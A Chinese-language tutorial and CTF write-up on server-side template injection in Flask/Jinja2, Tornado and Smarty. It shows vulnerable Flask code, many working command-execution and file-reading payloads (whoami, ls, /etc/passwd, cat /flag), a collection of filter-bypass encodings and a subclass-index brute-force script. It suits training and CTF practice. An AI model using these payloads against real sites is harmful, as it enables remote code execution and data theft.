SSTI-服务端模版注入漏洞
SSTI就是服务器端模板注入(Server-Side Template Injection),也给出了一个注入的概念。
常见的注入有:SQL 注入,XSS 注入,XPATH 注入,XML 注入,代码注入,命令注入等等。sql注入已经出世很多年了,对于sql注入的概念和原理很多人应该是相当清楚了,SSTI也是注入类的漏洞,其成因其实是可以类比于sql注入的。
sql注入是从用户获得一个输入,然后又后端脚本语言进行数据库查询,所以可以利用输入来拼接我们想要的sql语句,当然现在的sql注入防范做得已经很好了,然而随之而来的是更多的漏洞。
SSTI也是获取了一个输入,然后再后端的渲染处理上进行了语句的拼接,然后执行。当然还是和sql注入有所不同的,SSTI利用的是现在的网站模板引擎(下面会提到),主要针对python、php、java的一些网站处理框架,比如Python的jinja2 mako tornado django,php的smarty twig,java的jade velocity。当这些框架对运用渲染函数生成html的时候会出现SSTI的问题。
现在网上提起的比较多的是Python的网站。
原文链接:https://blog.csdn.net/zz_Caleb/article/details/96480967
小学的时候拿别人的好词好句,套在我们自己的作文里,此时我们的作文就相当于模板,而别人的好词好句就相当于传递进模板的内容。
原理:
# 服务端接受用户的输入,将其作为web应用模版的一部分
# 在进行目标编译渲染的过程中,执行了用户的恶意输入,因而导致了敏感信息泄露,代码执行,Getshell等问题。
# 其影响范围主要取决于模版引擎的复杂性。
模版引擎:
在传统的网站,客户端向服务器发送请求,服务器将数据和html字符串发送给客户端
如果使用AJAX技术发送请求,那么服务器端就会返回json数据,原本数据和html的拼接是在服务器端完成的,现在在客户端完成,那么就需要使用客户端模版引擎
概念:
模板引擎不属于特定技术领域,它是跨领域跨平台的概念。在Asp下有模板引擎,在PHP下也有模板引擎,在C#下也有,甚至JavaScript、WinForm开发都会用到模板引擎技术
用途:
模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,用于网站的模板引擎就会生成一个标准的HTML文档。
我们司空见惯的模板安装卸载等概念,基本上都和模板引擎有着千丝万缕的联系。模板引擎不只是可以让你实现代码分离(业务逻辑代码和用户界面代码),也可以实现数据分离(动态数据与静态数据),还可以实现代码单元共享(代码重用),甚至是多语言、动态页面与静态页面自动均衡(SDE)等等与用户界面可能没有关系的功能。
通俗点理解:拿到数据,塞到模板里,然后让渲染引擎将塞进去的东西生成 html 的文本,返回给浏览器,这样做的好处展示数据快,大大提升效率。
什么是模版注入:
当不正确的使用模版引擎进行渲染时,则会造成模版注入,such as:
from flask import Flask
from flask import request
from flask import config
from flask import render_template_string
app = Flask(__name__)
app.config['SECRET_KEY'] = "flag{SSTI_123456}"
@app.route('/') # route装饰器路由
def hello_world():
return 'Hello World!'
@app.errorhandler(404)
def page_not_found(e):
template = '''
{%% block body %%}
<div class="center-content error">
<h1>Oops! That page doesn't exist.</h1>
<h3>%s</h3>
</div>
{%% endblock %%}
''' % (request.args.get('404_url'))
return render_template_string(template), 404
if __name__ == '__main__':
app.run(host='0.0.0.0',debug=True)
@app.route(‘/‘) 使用route装饰器是告诉Flask什么样的URL能触发我们的函数.route()装饰器把一个函数绑定到对应的URL上,这句话相当于路由,一个路由跟随一个函数,如
@app.route("/login")
def login():
return "hello Flask"
这个时候再访问0.0.0.0:5000/login会输出hello Flask。
main入口
当.py文件直接运行时,if name == ‘main‘:之下的代码开始运行,当py文件是一模块的形式被导入的时候 if name == ‘main‘:之下的代码快不会被运行
app.run(host='0.0.0.0',debug=True)
模版渲染:
我们模版渲染的话有两个方法,render_template() 和 render_template_string()
Render_template():用来渲染一个指定的template文件夹下的一个文件
render_template_string:用来渲染一个字符串
return render_template_string(template), 404 # 这里指渲染了字符串
- 网上大部分所使用的request.url的方式已经不能导致模板注入了,在最新的flask版本中会自动对request.url进行urlencode,所以我稍微改了一下代码,改成request.args传参就可以了。
在上述代码中,直接将用户可控参数request.args.get('404_url')
在模板中直接渲染并传回页面中,这种不正确的渲染方法会产生模板注入(SSTI)。
详细请参考:https://xz.aliyun.com/t/3679
沙盒以及沙盒逃逸
沙盒/沙箱
沙箱在早期主要用于测试可疑软件,测试病毒危害程度等等。在沙箱中运行,即使病毒对其造成了严重危害,也不会威胁到真实环境,沙箱重构也十分便捷。有点类似虚拟机的利用。
沙箱逃逸,就是在给我们的一个代码执行环境下,脱离种种过滤和限制,最终成功拿到shell权限的过程。其实就是闯过重重黑名单,最终拿到系统命令执行权限的过程。而我们这里主要讲解的是python环境下的沙箱逃逸。
内建函数
概念:
当我们启动一个python解释器时,及时没有创建任何变量或者函数,还是会有很多函数可以使用,我们称之为内建函数。
内建函数并不需要我们自己做定义,而是在启动python解释器的时候,就已经导入到内存中供我们使用,想要了解这里面的工作原理,我们可以从名称空间开始。
名称空间
名称空间在python是个非常重要的概念,它是从名称到对象的映射,而在python程序的执行过程中,至少会存在两个名称空间
内建名称空间:python自带的名字,在python解释器启动时产生,存放一些python内置的名字
全局名称空间:在执行文件时,存放文件级别定义的名字
局部名称空间(可能不存在):在执行文件的过程中,如果调用了函数,则会产生该函数的名称空间,用来存放该函数内 定义的名字,该名字在函数调用时生效,调用结束后失效
在python中,初始的builtins模块提供内建名称空间到内建对象的映射
dir()函数用于向我们展示一个对象的属性有哪些,在没有提供对象的时候,将会提供当前环境所导入的所有模块,我们可以看到初始模块有哪些
这里面,我们可以看到__builtins__
是做为默认初始模块出现的,那么用dir()命令看看__builtins__
的成分。
在这个里面,我们会看到很多熟悉的关键字。比如:__import__
、str
、len
等。看到这里大家会不会突然想明白为什么python解释器里能够直接使用某些函数了?比如直接使用len()函数
类继承
python中对一个变量应用class方法从一个变量实例转到对应的对象类型后,类有以下三种关于继承关系的方法
__base__ //对象的一个基类,一般情况下是object,有时不是,这时需要使用下一个方法
__mro__ //同样可以获取对象的基类,只是这时会显示出整个继承链的关系,是一个列表,object在最底层故在列表中的最后,通过__mro__[-1]可以获取到
__subclasses__() //继承此对象的子类,返回一个列表
魔术函数
这里介绍几个常见的魔术函数,有助于后续的理解
__dict__
类的静态函数、类函数、普通函数、全局变量以及一些内置的属性都是放在类的__dict__里的对象的__dict__中存储了一些self.xxx的一些东西内置的数据类型没有__dict__属性每个类有自己的__dict__属性,就算存在继承关系,父类的__dict__ 并不会影响子类的__dict__对象也有自己的__dict__属性, 存储self.xxx 信息,父子类对象公用__dict____globals__
该属性是函数特有的属性,记录当前文件全局变量的值,如果某个文件调用了os、sys等库,但我们只能访问该文件某个函数或者某个对象,那么我们就可以利用globals属性访问全局的变量。该属性保存的是函数全局变量的字典引用。__getattribute__()
实例、类、函数都具有的__getattribute__
魔术方法。事实上,在实例化的对象进行.
操作的时候(形如:a.xxx/a.xxx()
),都会自动去调用__getattribute__
方法。因此我们同样可以直接通过这个方法来获取到实例、类、函数的属性。
__subclasses__()
返回子类列表,__bases__
列出基类
浅谈__getattribute__和getattr:https://blog.csdn.net/qq_41359051/article/details/82930939
使用方法:
从变量->对象->基类->子类遍历->全局变量 这个流程中,找到我们想要的模块或者函数。
利用方式:
- 查配置文件
- 命令执行(其实就是沙盒逃逸类题目的利用方式)
查配置文件
什么是查配置文件?我们都知道一个python框架,比如说flask,在框架中内置了一些全局变量,对象,函数等等。我们可以直接访问或是调用。这里拿两个例题来简单举例:
easy_tornado
这个题目发现模板注入后的一个关键考点在于handler.settings
。这个是Tornado框架本身提供给程序员可快速访问的配置文件对象之一。分析官方文档可以发现handler.settings其实指向的是RequestHandler.application.settings,即可以获取当前application.settings,从中获取到敏感信息。
shrine
这个题目直接给出了源码,flag被写入了配置文件中
app.config['FLAG'] = os.environ.pop('FLAG')
同样在此题的Flask框架中,我们可以通过内置的config对象直接访问该应用的配置信息。不过此题设置了WAF,并不能直接访问{ {config} }
得到配置文件而是需要进行一些绕过。这个题目很有意思,开拓思路,有兴趣可以去做一下。
总结一下这类题目,为了内省框架,我们应该:
查阅相关框架的文档
使用
dir
内省locals
对象来查看所有能够使用的模板上下文使用dir深入内省所有对象
直接分析框架源码
命令执行
命令执行,其实就是前面我们介绍的沙盒溢出的操作。在python环境下,由于在SSTI发生时,以Jinja2为例,在渲染的时候会把{ { } }
包裹的内容当做变量解析替换,在{ { } }
包裹中我们插入''.__class__.__mro__[-1].__subclasses__()[40]
类似的payload也能够被先解析而后结果字符串替换成模板中的具体内容。
方法1 利用eval 进行命令执行
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
方法2 利用warnings.catch_warnings 进行命令执行
查看warnings.catch_warnings
方法的位置
>>> [].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
59
查看linecatch
的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
25
查找os
模块的位置
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
12
查找system
方法的位置(在这里使用os.open().read()
可以实现一样的效果,步骤一样,不再复述)
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
144
调用system
方法
>>> [].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
root
0
方法3 利用commands 进行命令执行
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
flask实战
- 一些魔术方法:
1 __class__ 返回类型所属的对象
2 __mro__ 返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
3 __base__ 返回该对象所继承的基类
4 // __base__和__mro__都是用来寻找基类的
5 __subclasses__ 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
6 __init__类的初始化方法
7 __globals__对包含函数全局变量的字典的引用
- 语法
1 { {%...%} }: 用于语句
2 { {…} }: 用于表达式,对其进行解析,并打印到模板输出
3 { {#...#} }: 用于注释
flask模版的基本用法:
https://www.cnblogs.com/xiaxiaoxu/p/10428508.html
漏洞利用:
原题复现
from flask import Flask
from flask import render_template
from flask import render_template_string
from flask import request
app=Flask(__name__)
@app.route("/login")
def login():
username=request.args.get("name")
html='''
<h1> this is login page %s</h1>
'''%(username)
return render_template_string(html)
if __name__=="__main__":
app.run(debug=True)
根据路由,访问/login并且传递参数?name=2
发现返回的值时2,即对我们的输入进行了运算
那么这时候就存在ssti注入
python沙盒逃逸https://blog.csdn.net/qq_42181428/article/details/99355219
传参查看配置文件
利用方法
传参数{ {“”._class_} }获取字符串的类对象
name={ {"".__class__} }
寻找基类
http://127.0.0.1:5000/login?name={ {"".__class__.__mro__} }
查看哪些类被进行了调用
http://127.0.0.1:5000/login?name={ {"".__class__.__mro__[1].__subclasses__()} }
找到os类相关的类
数字时才出来的,先猜100,找找位置,在往后,几次就猜出来了
查找到这样的子类,而这个字类又继承了os类
这个时候我们便可以利用.init.globals来找os类下的,init初始化类,然后globals全局来查找所有的方法及变量及参数。
构造payload
{ {''.__class__.__mro__[1].__subclasses__()[133].__init__.__globals__['popen']('ls').read()} }
很显然命令被执行
参考博客:https://blog.csdn.net/zz_Caleb/article/details/96480967
ctf中的一些绕过tips
没什么系统思路。就是不断挖掘类研究官方文档以及各种能够利用的姿势。这里从最简单的绕过说起。
1.过滤[]等括号
使用getitem绕过。如原poc { {“”.class.bases[0]} }
绕过后{ { “”.class.bases.getitem(0) } }
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
>>> ''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/sp
在这里使用pop并不会真的移除,但却能返回其值,取代中括号,来实现绕过
3.过滤class
使用session
poc { {session[‘cla’+’ss‘].bases[0].bases[0].bases[0].bases[0].subclasses()[118]} }
多个bases[0]是因为一直在向上找object类。使用mro就会很方便
{ {session['__cla'+'ss__'].__mro__[12]} }
或者
request['__cl'+'ass__'].__mro__[12]} }
字符串拼接绕过
{ {[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()} }
4.timeit姿势
可以学习一下 2017 swpu-ctf的一道沙盒python题,
这里不详说了,博大精深,我只意会一二。
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)
import platform
print platform.popen('dir').read()
5.收藏的一些poc
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )
object.__subclasses__()[59].__init__.func_globals['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ls')
{{request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]['__in'+'it__']['__'+'glo'+'bal'+'s__']['__bu'+'iltins__']['ev'+'al']('__im'+'port__("os").po'+'pen("ca"+"t a.php").re'+'ad()')}}
过滤引号
request.args
是flask中的一个属性,为返回请求的参数,这里把path
当作变量名,将后面的路径传值进来,进而绕过了引号的过滤
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
过滤双下划线
同样利用request.args
属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的request.args
改为request.values
则利用post的方式进行传参
GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
过滤关键字
base64编码绕过__getattribute__
使用实例访问属性时,调用该方法
例如被过滤掉__class__
关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
BUUCTF进行练习:
[护网杯 2018]easy_tornado
查询cookie_secret:https://tornado-zh.readthedocs.io/zh/latest/guide/security.html
直接访问/fllllllllllllag失败。
百度了render可知,render是python的一个模块,他们的url都是由filename和filehash组成,filehash即为和filename的md5值。
当filename或filehash不匹配时,将会跳转到http://fe01b382-7935-4e50-8973-f09a31b53c8f.node1.buuoj.cn/error?msg=Error 页面.
所以想到需要获取cookie_secret来得到filehash
那么,怎么获取cookie
查询tornado cookie
settiings:传递给构造函数的其他关键字参数保存在settings字典中,并且在文档中通常称为“应用程序设置”。设置用于自定义tornado的各个方面(尽管在某些情况下,可以通过覆盖的子类中的方法来进行更丰富的自定义RequestHandler)。一些应用程序还喜欢使用settings字典作为使特定于应用程序的设置可供处理程序使用的方式,而无需使用全局变量。在tornado中使用的设置如下所述。
而RequestHandler.settings是self.application.settings的别称,也就是RequestHandler.settings=RequestHandler.application.settings,self取RequestHandler。
也就是说RequestHandler.settings=RequestHandler.application.settings
而handler指向RequestHandler,所以handler就指向RequestHandler.application,最后handlers.ettings=RequestHandler.application.settings
最后捋一下
hanlder=RequestHandler
hanlder.settings=RequestHandler.settings
RequestHandler.settings=RequestHandler.application.settings
RequestHandler.application.settings可以调用
cookie_secrethanlder.settings=RequestHandler.application.settings
hanlder.settings可以调用cookie_secret
原文链接:https://blog.csdn.net/weixin_45253573/article/details/109623436
构造payload
http://71b049e4-2a5f-4cea-a666-759c79785d23.node3.buuoj.cn/error?msg={{handler.settings}}
对文件名加密处理
3bf9f6cf685a6dd8defadabfb41a03a1
加密处理
构建payload
http://71b049e4-2a5f-4cea-a666-759c79785d23.node3.buuoj.cn/file?filename=%2ffllllllllllllag&filehash=b78fdb227df9272aed37a89d3b610c67
得到flag
[BJDCTF2020]The mystery of ip
- 进入flag.php
- hint.php
显示出来ip,那么就看一下xff字段
很显然随着xff改变,页面回显也发生变化
尝试ssti注入
49查看配置文件
根据报错发现这里是Smarty的模版引擎
查看Smarty3
官方手册:https://www.smarty.net/docs/zh_CN/language.function.if.tpl
查看版本信息
利用{if}语句执行php代码
查询flag
[pasecactf_2019]flask_ssti
题目已经显示是ssti就直接进行一下模板注入
查看配置文件
可能存在过滤
那么转换成16进制
code = "/proc/self/fd/1"
ssti = ""
length = len(code)
for i in range(length):
ssti += "\\x" + hex(ord(code[i]))[2:]
print(ssti)
查处基类包含的所有字类
<class '_frozen_importlib_external.FileLoader'>
构造payload
{{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
flag{fde38292-447d-4518-8242-86df7f047333}
[BJDCTF 2nd]fake google
随便输入一句话
查看源代码
看见是ssti注入
查看配置文件
看不出
查看基类
{{''.__class__.__base__}}
所有子类
{{''.__class__.__base__.__subclasses__()}}
查找敏感类
利用python脚本:
import requests
import time
for i in range(0,200):
url = 'http://66798d0c-db46-4a74-b944-e90d4e896e76.node3.buuoj.cn/qaq?name={{"".__class__.__base__.__subclasses__()[%s]}}'% i
res = requests.get(url)
#print(res.text)
if 'os._wrap_close' in res.text:
print(url)
break
可以看到os模块的位置是117
构造payload,查看目录
http://66798d0c-db46-4a74-b944-e90d4e896e76.node3.buuoj.cn/qaq?name={{%27%27.__class__.__base__.__subclasses__()[117].__init__.__globals__[%27popen%27](%27dir%20/%27).read()}}
可以看到有一个flag文件,读取
http://66798d0c-db46-4a74-b944-e90d4e896e76.node3.buuoj.cn/qaq?name={{%27%27.__class__.__base__.__subclasses__()[117].__init__.__globals__[%27popen%27](%27cat%20/flag%27).read()}}